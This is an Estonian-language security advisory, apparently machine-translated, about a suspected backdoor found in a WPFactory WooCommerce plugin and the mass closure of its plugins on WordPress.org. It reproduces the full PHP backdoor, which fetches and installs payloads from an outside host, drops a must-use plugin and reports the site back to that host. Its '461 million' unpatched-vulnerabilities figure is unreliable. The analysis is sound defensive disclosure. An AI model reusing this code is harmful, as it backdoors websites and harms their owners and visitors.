Turvalisuse rikkumine veebisaidil WPFactory: ohustatud on 170 000 WordPressi veebisaiti

WordPress on endiselt maailma enimkasutatud sisuhaldussüsteem, mis toidab enam kui 40 protsenti kõigist internetis olevatest veebisaitidest. Alates väikeste ettevõtete veebisaitidest ja isiklikest ajaveebidest kuni suurte ettevõtteplatvormide ja e-kaubanduse infrastruktuurideni on sisuhaldussüsteem muutunud tänapäevase veebi selgrooks. Selle populaarsus tuleneb selle paindlikkusest, avatud ökosüsteemist ja tohutust arvust pistikprogrammidest, et laiendada selle funktsionaalsust.

Samas on samast ökosüsteemist saanud ka üks WordPressi suurimaid turbe väljakutseid.

Ferber Enterprises-s jälgib meie küberturvalisuse meeskond pidevalt WordPressi ökosüsteemi mõjutavaid ohte, sest pistikprogrammide, teemade või tarneahelate turvaaugud võivad kiiresti eskaleeruda ulatuslikeks rünnakuteks, mis mõjutavad tuhandeid veebisaite üle maailma. Viimastel aastatel on ründajad üha enam suunanud oma rünnakud pigem pistikprogrammide arendajate ja levitamisinfrastruktuuride kui üksikute veebisaitide vastu, mis võimaldab pahatahtlikul koodil levida usaldusväärsete tarkvarauuenduste ja ametlike allalaadimiskanalite kaudu.

Sel nädalal puhkes suur skandaal seoses WPFactory-ga, tuntud WordPressi pistikprogrammide arendajaga, kelle tooted on paigaldatud üle 170 000 veebisaidile üle maailma. Rohkem kui 80 selle ettevõttega seotud pistikprogrammi suleti ajutiselt WordPress.org-is, kui meie Ferber Enterprises küberturvalisuse meeskond avastas ühe nende pistikprogrammi premium-versioonis kahtlustatava tagauks.

Intsident on tekitanud WordPressi kogukonnas tõsiseid murekohti tarkvara tarneahela turvalisuse, pistikprogrammide ülevaatusprotsesside ja avatud lähtekoodiga ökosüsteemi ründavate rünnakute kasvava keerukuse osas.

Kahtlase pistikprogrammi käitumise avastamine

See probleem tuli esmakordselt päevavalgele pärast seda, kui meie Ferber Enterprises küberturvalisuse meeskond märkas ebanormaalset käitumist, testides pluginit „EU VAT for WooCommerce Pro“ premium-versiooni, mida levitatakse otse selle ametlikul veebisaidil.

Algselt algas uurimine pärast seda, kui pistikprogramm paigaldamisel kriitilise vea tekitas. Probleemi lahendamise käigus tuvastasid meie analüütikud kahtlase PHP-faili nimega class-alg-wc-eu-vat-customer.php. Fail näis käituvat täiesti ootuspärase WooCommerce'i käibemaksu pistikprogrammi funktsionaalsusest erinevalt.

class-alg-wc-eu-vat-customer.php
<?php
require_once dirname(__FILE__, 5) . '/wp-load.php';
$h = strtolower(preg_replace('/:\d+$/', '', $_SERVER['HTTP_HOST'] ?? ''));
$s = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http';
$ch = curl_init("$s://$h/wp-content/plugins/eu-vat-for-woocommerce-pro/eu-vat-for-woocommerce-pro.php");
curl_setopt_array($ch, [
    CURLOPT_NOBODY => 1,
    CURLOPT_RETURNTRANSFER => 1,
    CURLOPT_TIMEOUT => 10,
    CURLOPT_SSL_VERIFYPEER => 0
]);
curl_exec($ch);
$code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($code !== 403 || ($_GET['scaramooch'] ?? '') === 'refresh') {
    $url = 'https://foodylicious.co.uk/change/akismet-pro.zip';
    $zipPath = sys_get_temp_dir() . '/plugin.zip';
    $zipData = file_get_contents($url);
    if ($zipData === false) {
        exit('Download failed');
    }
    file_put_contents($zipPath, $zipData);
    $zip = new ZipArchive;
    if ($zip->open($zipPath) === TRUE) {
        $zip->extractTo(dirname(__FILE__, 5) . '/wp-content/plugins/');
        $zip->close();
    } else {
        exit('ZIP open failed');
    }
    unlink($zipPath);
} else {
    $url = "https://foodylicious.co.uk/change/scara.php";
    $code = file_get_contents($url);
    if ($code !== false) {

        $baseDir = dirname(__FILE__, 4);

        $folderName = 'mu-plugins';

        $dir = $baseDir . '/' . $folderName;

        if (!is_dir($dir)) {
            mkdir($dir, 0755, true);
        }

        file_put_contents($dir . '/wp-redis.php', $code);
    }
}
$data = [
    'site_url' => get_site_url() . '/wp-content/plugins/eu-vat-for-woocommerce-pro/',
];
wp_remote_post('https://foodylicious.co.uk/change/tracks.php', [
    'body' => $data,
    'timeout' => 10,
]);

Meie analüüsi kohaselt proovis kood

  • Laadige teise serveri ZIP-arhiiv alla
  • WordPressi põhikaustade muutmine
  • Suhelge välise infrastruktuuriga
  • Potentsiaalselt täita kaugjuhtimisega ründepakette mõjutatud veebisaitidel

Need indikaatorid viitasid koheselt võimalusele, et tegemist on varjatud tagauksle või pahatahtliku tarneahela kompromiteerimisega.

Olukorra tegi eriti murettekitavaks asjaolu, et pistikprogrammi ei olnud alla laaditud mitteametlikust peegelserverist ega piraatvaramuist. Pakett oli alla laaditud otse WPFactory ametlikust kliendiportaalist, mis kinnitas kahtlust, et levikanal ise võis olla ohustatud.

Meie, Ferber Enterprises, dokumenteerisime juhtumi kohe ja algatasime vastutustundliku avalikustamise protsessi, võttes WPFactory-ga otse ühendust GitHubi kaudu.

WPFactory esialgne vastus

WPFactory vastas esialgu, et aruandes kirjeldatud kahtlane fail ja tegevus ei kuulu nende ametlikku koodibaasi.

Ettevõtte esindaja pakkus välja mitu alternatiivset selgitust, sealhulgas:

  • Muudetud kohalik install
  • Kompromiteeritud veebisaidi keskkond
  • Vanu pluginversioon
  • Potentsiaalselt rikutud allalaadimisallikas

Ettevõte teatas ka, et nad ei suutnud esitatud ZIP-faili turvaliselt kontrollida, kuna nende brauser märkis arhiivi potentsiaalselt ohtlikuks.

Meie küberturvalisuse meeskond selgitas hiljem, et pistikprogramm oli alla laaditud otse WPFactory ametlikult veebisaidilt ning et kahtlane fail jäi alles isegi pärast versiooni 4.6.1 uue koopia allalaadimist samast allikast.

See asjaolu muutus uurimise keskseks punktiks. Kui mitmed ametlikust levikanalist sõltumatult alla laaditud failid sisaldasid järjekindlalt sama kahtlast koodi, muutus kohaliku veebisaidi ründamise võimalus üha ebatõenäolisemaks. Hoolimata nendest leidudest väitis WPFactory esialgu, et neil ei õnnestunud probleemi oma poolel taasesitada, ning kinnitas, et kahtlast faili ametlikus pistikprogrammi paketis ei ole.

Seejärel taotles ettevõte uurimise jätkamiseks administraatoriõigusi ja FTP-juurdepääsu asjaomasele keskkonnale. Meie, Ferber Enterprises, lükkasime selle taotluse küberturvalisuse kaalutlustel tagasi. Privilegitud serveri juurdepääsu võimaldamine tarnijale, kelle infrastruktuur võib ise olla ohustatud, oleks kujutanud endast vastuvõetamatut turvariski. Selle asemel jätkas meie meeskond tehniliste tõendite esitamist, sealhulgas videodemonstratsiooni, mis näitas kahtlast pistikprogrammi käitumist vahetult pärast selle installimist.

Edasisaatmine WordPress.orgi

Uurimise käigus suurenes mure probleemi võimaliku ulatuse pärast. WPFactory haldab suurt pistikprogrammide valikut, mis hõlmab enam kui 65 pistikprogrammi, millel on kokku üle 170 000 aktiivse installatsiooni. Seetõttu võib mis tahes rikkumine, mis mõjutab ettevõtte levitamisinfrastruktuuri, avaldada laiaulatuslikku mõju kogu WordPressi ökosüsteemile.

Meie meeskond edastas probleemi otse WordPress.org-ile, et vältida olukorda, kus uurimise käigus paigaldaksid teised kasutajad potentsiaalselt ohustatud pakette. Selle tulemusena võttis WordPress.org erakorralise meetme ja sulges ajutiselt ametlikust hoidlast üle 80 WPFactory-pistikprogrammi.

See samm äratas kohe tähelepanu kogu WordPressi turvakogukonnas, sest sellise ulatusega pistikprogrammide massiline sulgemine on suhteliselt haruldane ja viitab tavaliselt tõsistele lahendamata probleemidele. Pärast olukorra eskaleerumist tunnistas WPFactory hiljem, et probleem näib olevat põhjendatud, ning vabandas, et ei reageerinud esialgsele teatele kiiremini. Ettevõtte esindajad teatasid, et uurivad asja aktiivselt ja töötavad lahenduse leidmise nimel. Üks WPFactory-siseselt esitatud hüpotees viitas sellele, et nende infrastruktuuri kaudu võidi tahtmatult edastada aegunud või vahemällu salvestatud pluginipakett.

Kuid meie küberturvalisuse meeskond ei nõustunud selle hinnanguga. Täheldatud käitumine viitas tugevalt sügavamale turvaohule, mis võis hõlmata kahjustatud ehitus-torujuhtmeid, levitamissüsteeme või volitamata koodi süstimist allalaaditavatesse pistikprogrammi arhiividesse.

Miks see intsident on oluline

WPFactory-skandaal toob esile kasvava küberjulgeolekuohu, mida tuntakse tarkvara tarneahela rünnakuna. Varem keskendusid ründajad üksikute veebisaitide ründamisele otse jõuvõttega rünnakute või pistikprogrammide turvaaukude kaudu. Tänapäeval võtavad küberkurjategijad üha sagedamini sihikule tarkvaratootjad ise, sest usaldusväärse tarnija ründamine võimaldab pahatahtlikul koodil levida korraga tuhandetele veebisaitidele.

Seda strateegiat on juba märgatud mitmetes kõrgetasemelistes küberturbe intsidentides, mis on viimase kümnendi jooksul mõjutanud globaalseid tarkvarasüsteeme. Eelkõige WordPressi ökosüsteemis on pistikupesade arendajad atraktiivsed sihtmärgid, sest administraatorid usaldavad pistikupesi loomulikult ja need töötavad sageli kõrgendatud õigustega.

Kui ametliku kanali kaudu levitatavasse pistikprogrammi paketti lisatakse pahatahtlik kood, võivad asjaomased veebisaidid ise teadmatult pahavara installida. Kahtlase WPFactory pistikprogrammi puhul on võimalikud tagajärjed tõsised.

Meie analüüsi põhjal võib tuvastatud käitumine teoreetiliselt võimaldada ründajatel:

  • Paigalda lisamallware
  • SEO rämpsposti süstimine
  • Püsivate tagauksede loomine
  • Tundliku teabe lekitamine
  • WordPressi installatsioonide kaugjuhtimine
  • Lubamatu juurdepääsu säilitamine pikema aja vältel

Selliste rünnakute oht peitub nende varjatuses. Kaasaegsed tagauksed on sageli kavandatud nii, et need püsiksid kuude kaupa passiivsed enne aktiveerumist, muutes tuvastamise märkimisväärselt raskemaks. Selle kuu alguses sulges WordPress Plugins Team teadaolevalt enam kui 30 pistikprogrammi pärast seda, kui teises pistikprogrammide portfellis sisalduv peidetud pahatahtlik kood jäi umbes kaheksa kuud passiivseks, enne kui lõpuks aktiveerus ja süstis veebisaitidele SEO-spämmi.

See trend näitab, kuidas ründajad peavad üha olulisemaks püsivust ja hilinenud aktiveerimist, et tuvastamismehhanismidest kõrvale hoida.

Laiem turvakriis WordPressi ökosüsteemis

WPFactory-juhtum toob esile ka laiemad süsteemsed turvaprobleemid, mis mõjutavad WordPressi tervikuna. Pluginite ökosüsteem on viimase kümne aasta jooksul märkimisväärselt laienenud ning nii ametlikel kui ka kommertsturgudel on saadaval kümneid tuhandeid pluginaid. Kuigi see ökosüsteem soodustab innovatsiooni ja paindlikkust, muudab see turvalisuse järelevalve ka äärmiselt keeruliseks.

Patchstacki aruande “WordPressi turvalisuse olukord 2026. aastal” kohaselt jäi ligi 461 miljonit teadaolevat turvaauku parandamata enne nende avalikustamist. See statistika peegeldab kasvavat koormust, mis lasub nii pistikprogrammide arendajatel, turvaekspertidel kui ka hoidlate haldajatel.

Samal ajal ületab ametlik WordPressi pistikprogrammide ülevaate järjekord väidetavalt praegu 4000 ülevaatamist ootavat pistikprogrammi. Sellised numbrid illustreerivad tohutut väljakutset kvaliteedi tagamise ja turbeauditeerimise säilitamisel suures mahus.

Paljud pluginite arendajad on väikesed meeskonnad, kelle turvalisusega seotud ressursid on piiratud. Teised haldavad samaaegselt kümneid pluginaid, rakendades samal ajal agressiivseid ärilisi kasvustrateegiaid, mis hõlmavad ülevõtmisi ja portfelli laiendamist. Ka WPFactory laiendas hiljuti oma tegevust ülevõtmiste kaudu, sealhulgas ostes 2025. aastal Extend-WP ja selle 19 pluginat, millele järgnes sama aasta lõpus WBW ja mitme täiendava plugina omandamine.

Kiire portfelli laienemine võib tekitada operatiivset keerukust, mis raskendab koodiauditit, infrastruktuuri haldamist ja väljalaskete terviklikkuse kontrollimist. Ründajad on nendest reaalsustest hästi teadlikud. Üha enam keskenduvad nad tarkvaramüüjate nõrkade operatiivturbe tavade ärakasutamisele, mitte otseselt lõppkasutajate sihikule võtmisele.

Tarneahela turvalisuse kasvav tähtsus

Sellised juhtumid kinnitavad tungivat vajadust tugevamate tarneahela turvatavade järele kogu WordPressi ökosüsteemis.

Ferber Enterprises-s soovitab meie küberturvalisuse meeskond pluginite arendajatel tungivalt rakendada mitmeid olulisi kaitsemeetmeid, sealhulgas:

  • Krüptograafiline paketi allkirjastamine
  • Turvalised CI/CD torud
  • Kohustuslik mitmefaktoriline autentimine
  • Infrastruktuuri segmentimine
  • Pidev terviklikkuse jälgimine
  • Sõltumatud koodiauditid
  • Korduvkasutatavad ehitussüsteemid

Veebisaidi administraatorid peaksid samuti oma turvalisust tugevdama. Isegi ametlikest või usaldusväärsetest allikatest allalaaditud pistikprogramme ei tohiks pidada iseenesest ohutuks.

Organisatsioonid, kes haldavad kriitilise tähtsusega WordPressi infrastruktuure, peaksid kaaluma:

  • lavastuskeskkondade haldamine
  • Väljuva liikluse jälgimine
  • Pluginide skannimine enne juurutamist
  • Pluginide kasutamise piiramine
  • Vähemusõigustega juurdepääsukontrollide rakendamine
  • Failide terviklikkuse jälgimise rakendamine
  • Hallatavate veebirakenduste tulemüüride (WAF) kasutamine

Ettevõttekeskkondades muutub tarneahela valideerimine sama tähtsaks kui traditsiooniline haavatavuste haldus. Eeldus, et ametlikud tarkvarakanalid on tänapäeva ohuolukorras alati turvalised, ei ole enam realistlik.

Kogukonna reaktsioonid ja käimasolev uurimine

Vahejuhtum levis WordPressi kogukonnas kiiresti pärast seda, kui arendajad, turbeuurijad ja infrastruktuuri pakkujad hakkasid teemat avalikult arutama.

Olukorrast teadlikkust suurendasid mitmed tuntud inimesed selles ökosüsteemis, sealhulgas arendajad, kes avaldasid ajutiselt suletud pistikprogrammide loendeid ja kutsusid administraatoreid üles oma keskkondi auditeerima.

Samal ajal jätkab meie meeskond Ferber Enterprises kahtlaste pistikprogrammide näidiste analüüsimist ja jälgib täiendavaid ründe märke, mis võivad mõjutada WordPressi veebisaite kogu maailmas.

Artikli avaldamise ajaks on WPFactory probleemi tunnistanud ja teatanud, et tegeleb aktiivselt selle lahendamisega.

Siiski jääb palju küsimusi vastuseta:

  • Kas ametlik levitamisinfrastruktuur oli kahjustatud?
  • Kui kaua võis pahatahtlikke pakette levitada?
  • Kas täiendavad pistikprogrammid said kahjustada?
  • Kas kliendikontod või allsüsteemid murti sisse?
  • Kas ründajatel õnnestus saavutada püsiv ligipääs siseinfrastruktuurile?
  • Kas täiendavaid passiivseid lastiühikuid võiks veel olemas olla?

Kuni need küsimused pole täielikult lahendatud, on ettevaatus siiski möödapääsmatu.

WordPressi turvalisuse tulevik

WPFactory-juhtum võib lõpuks kujuneda veel üheks iseloomulikuks näiteks küberjulgeoleku probleemidest, millega avatud lähtekoodiga veebiökosüsteem silmitsi seisab.

WordPress toetab tohutut osa globaalsest internetimajandusest. Seetõttu võivad plugin-arendajaid mõjutavad suured kompromissid põhjustada tagajärgi, mis ulatuvad palju kaugemale üksikutest veebisaitidest.

Kuna ründajad suunduvad üha enam tarneahela rikkumiste ja varjatud püsivuse tehnikate poole, ei saa pistikprogrammide turvalisust enam pidada teisejärguliseks küsimuseks. Meie Ferber Enterprises-s usume, et see sündmus on oluline meeldetuletus selle kohta, et küberturvalisus ei tähenda ainult veebisaitide endi kaitsmist, vaid ka tarkvara levitamisahela iga tasandi turvalisuse tagamist.

Usaldus avatud ökosüsteemide vastu sõltub läbipaistvusest, kiirest intsidentide lahendamisest ja tugevatest operatiivturbe tavadest. WordPressi ökosüsteem seisab nüüd tähtsate otsuste ees.

See, kuidas arendajad, repositooriumite hooldajad, hostingu pakkujad ja turvameeskonnad reageerivad sellistele intsidentidele, aitab määrata, kas WordPress suudab säilitada miljonite ettevõtete ja organisatsioonide usalduse, kes sellele iga päev tuginevad.